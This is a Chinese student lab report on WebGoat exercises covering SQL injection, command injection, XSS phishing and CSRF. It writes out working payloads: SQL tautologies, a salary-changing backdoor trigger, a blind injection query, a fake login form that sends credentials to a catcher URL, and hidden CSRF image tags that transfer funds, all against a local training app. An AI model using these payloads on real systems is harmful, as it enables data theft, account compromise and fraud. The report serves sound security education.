Exp9 Web安全基礎實踐 20154308張珊珊

1、基礎問題回答

  • SQL注入攻擊原理,如何防護
    • 原理:攻擊者在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,把SQL語句當作用戶名等輸入正常網頁中以獲取數據庫信息的攻擊或對數據庫增刪查改的基本操做。
    • 防護:限制SQL字符串鏈接的配置文件;指定錯誤返回頁面;替換或刪除單引號;去除代碼中的敏感信息;封裝數據信息等。
  • XSS攻擊的原理,如何防護
    • 原理:惡意攻擊者經過往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶的目的。
    • 防護:對用戶的輸入進行處理,只容許輸入合法的值,其它值一律過濾掉。若是有時候不能過濾的話,就將敏感的字符進行替換,讓代碼失去原本的樣子,在讀取的時候在替換回來。
  • CSRF攻擊原理,如何防護
    • 原理:CSRF是跨站請求僞造,是一種對網站的惡意利用,經過假裝來自受信任用戶的請求來利用受信任的網站。
    • 防護:經過驗證碼來檢測用戶提交,儘可能不要在頁面的連接中暴露用戶隱私信息,對於用戶修改刪除等操做最好都使用post 操做 ,避免全站通用的cookie,嚴格設置cookie的域。html

      2、實踐過程

      1.webgoat

  • 先肯定webgoat安裝包放在home目錄下
  • java -jar webgoat-container-7.1-exec.ja開啓webgoat
  • 打開瀏覽器,輸入localhost:8080/WebGoat,選擇默認的帳號密碼便可登錄

2.SQL練習

Command Injectionjava

  • 題目要求可以在目標主機上執行系統命令,能夠經過對源代碼進行修改來達到目的
  • 在下拉菜單中選擇BackDoors.help,並view,右鍵選擇Inspect Element
  • 修改源代碼,在BackDoors.help旁邊加上"& netstat -an & ipconfig"
  • 下拉菜單中能看到修改後的值,選擇並view,能夠看到命令被執行,出現系統網絡鏈接狀況

Numeric SQL Injectionweb

  • 題目要求經過注入SQL字符串的方式查看全部的天氣數據
  • 相似上一個操做,修改頁面的源代碼,只要加上一個1=1這種永真式便可達到咱們的目的,在任意一個值好比101旁邊加上or 1=1
  • 選中ColumbiaGo,能夠看到全部天氣數據

Log Spoofingsql

  • 咱們輸入的用戶名會被追加到日誌文件中,因此咱們可使用障眼法來使用戶名爲「admin」的用戶在日誌中顯示「成功登陸」,在User Name文本框中輸入zss%0d%0aLogin Succeeded for username: admin
  • 成功

XPATH Injection數據庫

  • 題目要求使用賬戶Mik/Test123,目標是試着去查看其餘員工的數據
  • 構造永真式
user name:zss' or 1=1 or 'a'='a      
password:zss

  • 成功

String SQL Injection瀏覽器

  • 利用SQL注入讓全部的信用卡號都顯示出來。
  • 基於select語句構造SQL注入字符串,在文本框中輸入' or 1=1 --
  • 成功,全部用戶信息都被顯示出來

LAB: SQL Injection服務器

  • 以用戶Neville登陸,在密碼欄中輸入' or 1=1 --進行SQL注入,在這以前,要先將源代碼中的的maxlength的值改爲100,不然會由於密碼長度的限制而登陸不成功
  • 登錄成功
  • 能夠看到瀏覽員工信息的按鈕ViewProfile,這個地方是以員工ID做爲索引傳遞參數的,咱們要達到經過Larry來瀏覽老闆帳戶信息的目的,通常來講老闆的工資都應該是最高的,因此把其中的value值改成101 or 1=1 order by salary desc --,這樣老闆的信息就會被排到第一
  • 成功

Database Backdoorscookie

  • 注入語句101; update employee set salary=10000,將工資漲到了10000
  • 再寫一個語句101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20154322@qq.com' WHERE userid = NEW.userid,建立後門

Blind Numeric SQL Injection網絡

  • 目標是找到pins表中cc_number字段值爲1111222233334444的記錄中pin字段的數值,從服務端頁面返回的信息中能夠知道,只會反饋兩種信息:賬號有效或無效
  • 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 2000 );查看pin數值是否大於2000
  • 逐步縮小範圍,最後肯定數值
    xss

    3.XSS

    Phishing with XSS
  • 題目要求是關於一個頁面中存在XSS漏洞時,如何支持釣魚攻擊。要求咱們利用xss和html注入達到這些目標。
  • 使用XSS和HTML插入製做一個釣魚網站,將其輸在search框中,代碼以下
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br><br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
  • 輸入後下拉網頁,會有用戶名和密碼的框出現,隨意輸入用戶名和密碼
  • 成功

Reflected XSS Attacks

  • 當輸入錯誤的用戶信息後,服務器校驗輸入有誤,會返回錯誤頁面並將錯誤內容展現給咱們看
  • 若是咱們將帶有攻擊性的URL做爲輸入源,好比<script>alert("23320154308yqh");</script>,就會彈出對話框

    4.CSRF

    Cross Site Request Forgery
  • 要求是讓咱們發送一個惡意URL請求的圖片給用戶。看了hint後知道是在message框裏輸入一段文字,文字裏包含了惡意圖片,不能讓別人看出來。
  • 查看Screen和menu的值
  • 在信息框內輸入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>(這句話的意思是將Funds即金錢轉到本身的帳戶裏),點擊提交後就執行了這個代碼,被攻擊者就會給你轉錢,成功

CSRF Prompt By-Pass

  • 發個郵件給newsgroup,包含兩個惡意請求:一個是轉錢的金額,另外一個是確認轉帳。
  • 在信息框輸入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" 
width="1" height="1">
  • 提交以後,攻擊成功

3、實踐總結

  • 體會到了SQL注入攻擊、XSS攻擊和CSRF攻擊的強大,又有點感慨,其實這些攻擊大部分都是同樣的「套路」,掌握基本原理就能夠實現不少攻擊,因此掌握原理,明白思路仍是很重要的。
  • 作了這麼多實驗,有不懂的,固然仍是懂的比較多,比剛開學時的小白要強不少,很欣慰,也看到了本身的不少不足,之後遇到不會的事情仍是要去努力克服,總會解決的,經過這門課學到了不少。
相關文章
相關標籤/搜索